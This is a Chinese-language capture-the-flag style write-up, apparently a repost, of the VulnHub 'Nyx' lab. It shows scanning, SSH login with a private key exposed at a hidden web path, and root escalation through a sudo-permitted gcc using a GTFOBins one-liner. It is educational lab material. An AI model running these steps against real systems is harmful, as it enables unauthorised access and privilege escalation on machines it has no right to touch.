[VulnHub靶机渗透] Nyx

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

nikto漏洞扫描

nmap漏洞扫描

二、调试测试

1、web渗透+信息收集

2、OpenSSH 私钥 免密码登录

3、user.txt

三、提权

1、sudo提权

2、利用gcc提权

3、root权限


前言

靶机精讲之NYX,是一台vulnhub靶机,不难,准确地说如果找到入口就不难,如果找不到入口,可能就不知道从哪里突破,这个环节是值得反思的,否则你可能认为这是一台很难的机器。提权阶段还是强调living off the land的思想和应用,靶机规模不大,但是确是对一个渗透测试人员的基本功的考验。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.103.155

┌──(root??kali)-[~/桌面]
└─# arp-scan -l

2、端口扫描

扫描发现靶机开放了22、80端口

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.155

3、漏洞扫描

nikto漏洞扫描

nikto扫描发现了靶机的一些版本信息,包括一些漏洞,但是这些漏洞都需要我们后面去证实,后面如果没有什么突破,我们可以再回过头来去尝试下。

┌──(root??kali)-[~/桌面]
└─# nikto -h 192.168.103.155

nmap漏洞扫描

利用nmap的漏洞扫描,发现了靶机的一个隐藏目录,我们后面在进行web渗透测试的时候,可以访问下。

┌──(root??kali)-[~/桌面]
└─# nmap --script=vuln -p22,80 192.168.103.155 

--script=vuln 参数来指定 nmap 使用漏洞扫描脚本。
另外,-p22,80 参数指定了扫描的端口范围,即 22 和 80。

二、调试测试

1、web渗透+信息收集

我们直接访问,web80端口的页面,发现是个静态的web页面,没有什么价值,像一般碰到静态的web页面,我们可以尝试查看网站源代码

发现源代码,提示我们不要在这里浪费时间,让我们到别的地方去寻找线索

访问我们开始利用namp扫描出来的 那个目录:/d41d8cd98f00b204e9800998ecf8427e.php

发现是个OpenSSH 私钥,我们后面可以尝试利用OpenSSH 私钥进行免密码登录ssh

2、OpenSSH 私钥 免密码登录

我们把靶机的OpenSSH 私钥,保存到id_rsa文件里面,后面利用这个私钥进行免密码登录

我们现在尝试寻找ssh登录的用户,在实际的渗透测试下,如果我们没有找到ssh私钥的用户,我们可以尝试下root用户,但是这个靶场不是root用户

我们发现左上角的这个url的标题,显示是mpampis 的key,说明可能是这个用户的openssl 私钥

我们利用下面的一个很像base64编码的一串解码,发现也是这个用户,说明openssh的私钥就是这个用户

私钥文件 “id_rsa” 的权限设置有问题。SSH 客户端要求私钥文件的权限必须是非常严格的,通常是 600 或者 400,表示只有拥有者才可读写。

chmod 600 id_rsa

发现利用openssl私钥免密码登录成功了

┌──(root💀kali)-[~/桌面]
└─# ssh -i id_rsa mpampis@192.168.103.155                                                                                                                              2 ⚙
Linux nyx 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
███▄▄▄▄   ▄██   ▄   ▀████    ▐████▀ 
███▀▀▀██▄ ███   ██▄   ███▌   ████▀  
███   ███ ███▄▄▄███    ███  ▐███    
███   ███ ▀▀▀▀▀▀███    ▀███▄███▀    
███   ███ ▄██   ███    ████▀██▄     
███   ███ ███   ███   ▐███  ▀███    
███   ███ ███   ███  ▄███     ███▄  
 ▀█   █▀   ▀█████▀  ████       ███▄ 
Last login: Mon Feb 12 05:00:15 2024 from 192.168.103.129
mpampis@nyx:~$ id
uid=1000(mpampis) gid=1000(mpampis) groups=1000(mpampis),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
mpampis@nyx:~$

3、user.txt

成功拿到root的flag

mpampis@nyx:~$ cd /home
mpampis@nyx:/home$ ls
mpampis
mpampis@nyx:/home$ cd mpampis/
mpampis@nyx:~$ ls
user.txt
mpampis@nyx:~$ cat user.txt 
2cb67a256530577868009a5944d12637

三、提权

1、sudo提权

cat /etc/crontab查看是否有定时进程,发现没有定时任务

mpampis@nyx:~$ cat /etc/crontab

查看哪些具有SUID提权

mpampis@nyx:~$ find / -user root -perm -4000 -print 2>/dev/null

  • 这个命令运行了 find 工具,在整个文件系统中寻找属主为 root,且设置了 SUID 权限(权限为 4000)的文件,并将搜索结果输出到标准输出。2>/dev/null 将错误输出重定向到空设备,以避免在标准输出中看到不相关的错误信息。
  • 这个命令的目的可能是寻找拥有 root 权限的 SUID 文件,因为这些文件在一些安全漏洞中可能会被利用。

sudo提权

sudo 命令通常用于赋予特定用户或用户组在系统上执行特权操作的权限,而 (root) NOPASSWD 说明了用户 mpampis 可以以 root 权限执行指定的命令而无需输入密码。

mpampis@nyx:~$ sudo -l
Matching Defaults entries for mpampis on nyx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mpampis may run the following commands on nyx:
    (root) NOPASSWD: /usr/bin/gcc

2、利用gcc提权

这里给大家分享一个我平常做渗透测试的一个很好用的一个提权网站给大家:GTFOBins

GTFOBins icon-default.png?t=N7T8https://gtfobins.github.io/

这里直接检索gcc,然后点击sudo提权

sudo gcc -wrapper /bin/bash,-s .

3、root权限

发现成功提权到root权限了

mpampis@nyx:~$ sudo gcc -wrapper /bin/bash,-s .
root@nyx:~# id
uid=0(root) gid=0(root) groups=0(root)
root@nyx:/home/mpampis# cd /root
root@nyx:~# ls
root.txt
root@nyx:~# cat root.txt
root@nyx:~# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/385863.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C# CAD2016获取数据操作BlockTableRecord、Polyline、DBObject

一、数据操作说明 //DBObject 基础类 DBObject dbObj (DBObject)tr.GetObject(outerId, OpenMode.ForRead); //Polyline 线段类 Polyline outerPolyline (Polyline)tr.GetObject(outerId, OpenMode.ForRead); //BlockTableRecord 块表类 BlockTableRecord modelSpace (Bloc…

ChatGPT高效提问—prompt实践(视频制作)

ChatGPT高效提问—prompt实践(视频制作) 1.1 视频制作 ​ 制作视频对于什么都不懂的小白来说非常难。而随着AI技术的发展,这件事变得越来越简单,如今小白也可以轻松上手。如何借助ChatGPT来制作短视频。 ​ 其实方法非常简单&a…

ubuntu服务器部署gitlab docker并配置nginx反向代理https访问

拉取镜像 docker pull gitlab/gitlab-ce运行容器 docker run --detach \--publish 9080:80 --publish 9022:22 --publish 9443:443\--namegitlab \--restartalways \--volume /home/docker/gitlab/config:/etc/gitlab \--volume /home/docker/gitlab/logs:/var/log/gitlab \-…

docker 3.1 镜像

docker 3.1 镜像命令 拉取镜像 docker pull debian #从 Docker Hub 拉取名为 debian 的镜像docker pull hello-world #从 Docker Hub 拉入名为 hello-world 的镜像‍ 运行镜像/容器 docker run hello-world ‍ 查看本地所有的镜像 docker images​​ 容器生成镜像…

【算法随想录01】环形链表

题目:141. 环形链表 难度:EASY 代码 哈希表遍历求解,表中存储的是元素地址。 时间复杂度 O ( N ) O(N) O(N),空间复杂度 O ( N ) O(N) O(N) /*** Definition for singly-linked list.* struct ListNode {* int val;* …

react【四】css

文章目录 1、css1.1 react和vue css的对比1.2 内联样式1.3 普通的css1.4 css modules1.5 在react中使用less1.6 CSS in JS1.6.1 模板字符串的基本使用1.6.2 styled-components的基本使用1.6.3 接受传参1.6.4 使用变量1.6.5 继承样式 避免代码冗余1.6.6 设置主题色 1.7 React中添…

【排序】归并排序

归并排序 动图演示: 基本思想:分治思想 归并排序(MERGE-SORT)是建立在归并操作上的一种有效的排序算法,该算法是采用分治法的一个非常典型的应用。将已有序的子序列合并,得到完全有序的序列;即先使每个子…

【ES】--Elasticsearch的分词器深度研究

目录 一、问题描述及分析二、analyze分析器原理三、 multi-fields字段支持多场景搜索(如同时简繁体、拼音等)1、ts_match_analyzer配置分词2、ts_match_all_analyzer配置分词3、ts_match_1_analyzer配置分词4、ts_match_2_analyzer配置分词5、ts_match_3_analyzer配置分词6、ts…

2024年智能算法优化PID参数,ITAE、ISE、ITSE、IAE四种适应度函数随意切换,附MATLAB代码...

PID 参数整定就是确定比例系数(Kp )、积分系数(Ki)和微分系数(Kd )的过程,以便使 PID 控制器能够在系统中实现稳定、快速、准确的响应。 本期的主题 采用四种2024年的智能优化算法优化PID的三个…

《Java 简易速速上手小册》第6章:Java 并发编程(2024 最新版)

文章目录 6.1 线程的创建和管理 - 召唤你的士兵6.1.1 基础知识6.1.2 重点案例:实现一个简单的计数器6.1.3 拓展案例 1:定时器线程6.1.4 拓展案例 2:使用 Executor 框架管理线程 6.2 同步机制 - 维持军队的秩序6.2.1 基础知识6.2.2 重点案例&a…

pytorch花式索引提取topk的张量

文章目录 pytorch花式索引提取topk的张量问题设定代码实现索引方法gather方法验证 补充知识expand方法gather方法randint pytorch花式索引提取topk的张量 问题设定 或者说,有一个(bs, dim, L)的大张量,索引的index形状为(bs, X),想得到一个(…

Java 基于 SpringBoot 的大药房管理系统

博主介绍:✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇…

备战蓝桥杯---动态规划(入门1)

先补充一下背包问题: 于是,我们把每一组当成一个物品,f[k][v]表示前k组花费v的最大值。 转移方程还是max(f[k-1][v],f[k-1][v-c[i]]w[i]) 伪代码(注意循环顺序): for 所有组: for vmax.....0…

使用Word Embedding+Keras进行自然语言处理NLP

目录 介绍: one-hot: pad_sequences: 建模: 介绍: Word Embedding是一种将单词表示为低维稠密向量的技术。它通过学习单词在文本中的上下文关系,将其映射到一个连续的向量空间中。在这个向量空间中,相似的单词在空间…

实现JNDI

实现JNDI 问题陈述 Smart Software Developer Ltd.想要开发一款Web应用程序,它使用servlt基于雇员ID显示雇员信息,雇员ID由用户通过HTML用户界面传递。雇员详细信息存储在Employee_Master表中。另外,Web应用程序应显示网站被访问的次数。 解决方案 要解决上述问题,需要执…

2024.2.6 模拟实现 RabbitMQ —— 数据库操作

目录 引言 选择数据库 环境配置 设计数据库表 实现流程 封装数据库操作 针对 DataBaseManager 单元测试 引言 硬盘保存分为两个部分 数据库:交换机(Exchange)、队列(Queue)、绑定(Binding&#xff0…

腾讯云4核8G服务器够用吗?能支持多少人?

腾讯云4核8G服务器支持多少人在线访问?支持25人同时访问。实际上程序效率不同支持人数在线人数不同,公网带宽也是影响4核8G服务器并发数的一大因素,假设公网带宽太小,流量直接卡在入口,4核8G配置的CPU内存也会造成计算…

webpack面试解析

参考: 上一篇webpack相关的系列:webpack深入学习,搭建和优化react项目 爪哇教育字节面试官解析webpack-路白 1、Webpack中的module是什么? 通常来讲,一个 module 模块就是指一个文件中导出的内容,webpack…

全国计算机等级考试二级,MySQL数据库考试大纲(2023年版)

基本要求: 1.掌握数据库的基本概念和方法。 2.熟练掌握MySQL的安装与配置。 3.熟练掌握MySQL平台下使用SQL语言实现数据库的交互操作。 4.熟练掌握 MySQL的数据库编程。 5.熟悉 PHP 应用开发语言,初步具备利用该语言进…

Vue-自定义属性和插槽(五)

目录 自定义指令 基本语法 (全局&局部注册) 指令的值 练习:v-loading 指令封装 总结: 插槽(slot) 默认插槽 插槽 - 后备内容(默认值) 具名插槽 具名插槽基本语法: 具名插槽简化语法: 作…